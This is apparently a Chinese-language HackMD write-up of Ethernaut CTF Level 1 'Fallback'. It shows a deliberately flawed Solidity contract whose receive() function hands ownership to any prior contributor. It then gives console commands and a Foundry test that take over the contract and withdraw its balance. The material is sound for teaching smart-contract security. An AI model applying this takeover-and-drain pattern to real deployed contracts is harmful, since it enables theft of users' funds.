Try   HackMD

Ethernaut CTF Level 1 - Fallback

題目

仔細看下面的合約程式碼。

要通過這關你需要

  • 獲得這個合約的所有權
  • 把合約的餘額歸零

可能會有用的資訊

  • 如何透過與 ABI 互動發送 ether
  • 如何在 ABI 之外發送 ether
  • 轉換 wei/ether 單位 (參見 help() 指令)
  • fallback 方法

分析

來看一下合約,可以發現最終目標 withdraw()onlyOwner() modifier保護住

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }

在執行withdraw()之前,要先通過onlyOwner()的檢查

  • 在這邊 msg.sender (傳送交易的人) 需要等於預定義的 owner
  • owner在deploy contract時透過一次性constructor function定義好
  • 所以這邊的owner一開始會是 deploy contract 的address
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }

不過,在code之中看到了一絲希望

  • receive function是solidity的特殊function
  • 呼叫時,如果智能合約中沒有相對應的function + transaction中的calldata為空時會觸發

The receive function is executed on a call to the contract with empty calldata.
https://docs.soliditylang.org/en/v0.8.1/contracts.html#receive-ether-function

  • 通過Check之後可以更改owner
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }

所以攻擊思路出現了

  • 呼叫contribute()contributions[msg.sender] > 0
  • 呼叫 receive(), update owner
  • 呼叫withdrawal()

攻擊

用以下格式,傳送msg.value要求

await contract.contribute({value: toWei("0.000001")})

檢查目前的owner,並且發送sendTransaction()以此觸發receive()

await contract.owner() await contract.sendTransaction({value: toWei("0.0001")})

重新檢查owner可以發現已經被update了,

await contract.owner()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

最後呼叫withdraw()
確保合約的balance已經被提款出來,提交結束這關

await contract.withdraw() await getBalance(instance)

Foundry Test

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "ds-test/test.sol"; import "forge-std/Vm.sol"; import "../src/levels/01-Fallback/Fallback.sol"; // test/Billy/ folder contract ContractTest2 is DSTest { Fallback level1 = Fallback(payable(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1), "Ethernaut01" ); } function testEthernaut01() public { level1.owner(); level1.contribute{value: 1 wei}(); level1.getContribution(); address(level1).call{value: 1 wei}(""); assert(address(this) == level1.owner()); // Attacker level1.withdraw(); } receive() external payable {} }